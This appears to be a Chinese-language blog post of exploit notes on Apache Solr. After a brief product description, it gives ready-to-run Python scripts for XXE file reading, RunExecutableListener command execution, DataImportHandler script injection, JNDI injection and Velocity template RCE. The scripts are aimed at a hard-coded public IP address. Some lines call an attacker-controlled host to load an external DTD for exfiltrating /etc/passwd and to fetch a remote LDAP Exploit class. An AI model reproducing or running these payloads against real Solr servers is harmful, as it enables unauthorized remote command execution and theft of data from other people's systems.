Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
https://github.com/Imanfeng/Apache-Solr-RCE
CVE-2017-12629 - Apache Solr XXE & RCE 漏洞分析
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
# xxe and rce
import requests
from urllib.parse import quote
ip='101.35.196.173'
port='8983'
'''
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
'''
def xxe(url):
exp = "<?xml version=\"1.0\" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM \""+url+"\">%ext;%ent;]><r>&data;</r>"
text = quote(exp, 'utf-8')
burp0_url = "http://"+ip+":"+port+"/solr/demo/select?q="+text+"&wt=xml&defType=xmlparser"
get = requests.get(burp0_url)
print(get.text)
# 依据漏洞作者所披露的漏洞细节来看,RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统。
# /solr/admin/cores?wt=json 判断
def rce(cmd):#不稳定,并且不知道路径
burp0_url = "http://"+ip+":"+port+"/solr/demo/config"
burp0_headers = {"Accept": "*/*", "Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close"}
burp0_json = {
"add-listener": {"args": ["-c", cmd], "class": "solr.RunExecutableListener", "dir": "/bin/",
"event": "postCommit", "exe": "sh", "name": "newlistener"}}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
burp0_json2=[{"id": "test"}]
requests.post(burp0_url, headers=burp0_headers, json=burp0_json2)
if __name__ == '__main__':
# xxe("http://101.35.196.173:8080/do.dtd")
rce("touch /tmp/1")
https://github.com/mpgn/CVE-2019-0192/blob/master/CVE-2019-0192.py
https://www.yuque.com/tianxiadamutou/zcfd4v/uyceyo#4785516e
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
import requests
from urllib.parse import quote
def getinfo(remote):
burp0_url = remote + "/solr/admin/cores?wt=json"
r = requests.get(burp0_url, verify=False, allow_redirects=False)
if r.status_code == 200:
a = list(r.json()['status'].keys())
# ressource = "/solr/" + a[0] + "/config"
# print(ressource)
return a[0]
else:
exit(0)
#需要出网
def exp1(url,info,cmd):
burp0_url = url+"/solr/"+info+"/dataimport?_=1647571813629&indent=on&wt=json"
burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
"Content-type": "application/x-www-form-urlencoded", "Connection": "close"}
burp0_data = {"command": "full-import", "verbose": "false", "clean": "false", "commit": "true", "debug": "true",
"core": "test",
"dataConfig": "<dataConfig>\n <dataSource type=\"URLDataSource\"/>\n <script><![CDATA[\n function poc(row){ \n var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\""+cmd+"\").getInputStream()));\n var result = [];\n while(true) {\n var oneline = bufReader.readLine();\n result.push( oneline );\n if(!oneline) break; \n }\n row.put(\"title\",result.join(\"\\n\\r\")); \n return row;\n }\n ]]></script>\n <document>\n <entity name=\"stackoverflow\"\n url=\"https://stackoverflow.com/feeds/tag/solr\"\n processor=\"XPathEntityProcessor\"\n forEach=\"/feed\"\n transformer=\"script:poc\" />\n </document>\n</dataConfig>",
"name": "dataimport"}
post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(post.json()['documents'])
def exp2(url,info,cmd):
burp0url = url+"/solr/"+info+"/config"
headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}
burp0_json = {"set-property": {"requestDispatcher.requestParsers.enableStreamBody": True}}
requests.post(burp0url, headers=headers, json=burp0_json)
exp='''<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("'''+cmd+'''").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>'''
text = quote(exp, 'utf-8')
text ="%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22"+quote(cmd,'utf-8')+"%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20"
burp0_url = url+"/solr/"+info+"/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig="+text
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"content-type": "multipart/form-data; boundary=------------------------aceb88c2159f183f"}
burp0_data = "\r\n--------------------------aceb88c2159f183f\r\nContent-Disposition: form-data; name=\"stream.body\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<RDF>\r\n<item/>\r\n</RDF>\r\n\r\n--------------------------aceb88c2159f183f--"
requests_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(requests_post.json()['documents'])
if __name__ == '__main__':
info = getinfo("http://101.35.196.173:8983")
# exp1("http://101.35.196.173:8983",info,"ls /tmp/")
exp2("http://101.35.196.173:8983",info,'ls /tmp/')
jndi注入
<dataConfig>
<dataSource type="JdbcDataSource"
jndiName="ldap://xxx.xxx.xxx.xxx:1389/Exploit"/>
<document>
<entity name="test">
</entity>
</document>
</dataConfig>
https://github.com/jas502n/solr_rce
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
# 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
import requests
url ="http://101.35.196.173:8983"
cmd ="ls"
burp0_url = url + "/solr/admin/cores?wt=json"
r = requests.get(burp0_url, verify=False, allow_redirects=False)
a = list(r.json()['status'].keys())
burp0_url = url+"/solr/"+a[0]+"/config"
burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/json"}
burp0_json={"update-queryresponsewriter": {"class": "solr.VelocityResponseWriter", "name": "velocity", "params.resource.loader.enabled": "true", "solr.resource.loader.enabled": "true", "startup": "lazy", "template.base.dir": ""}}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
burp0_url = url+"/solr/"+a[0]+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
get = requests.get(burp0_url, headers=burp0_headers)
print(get.text)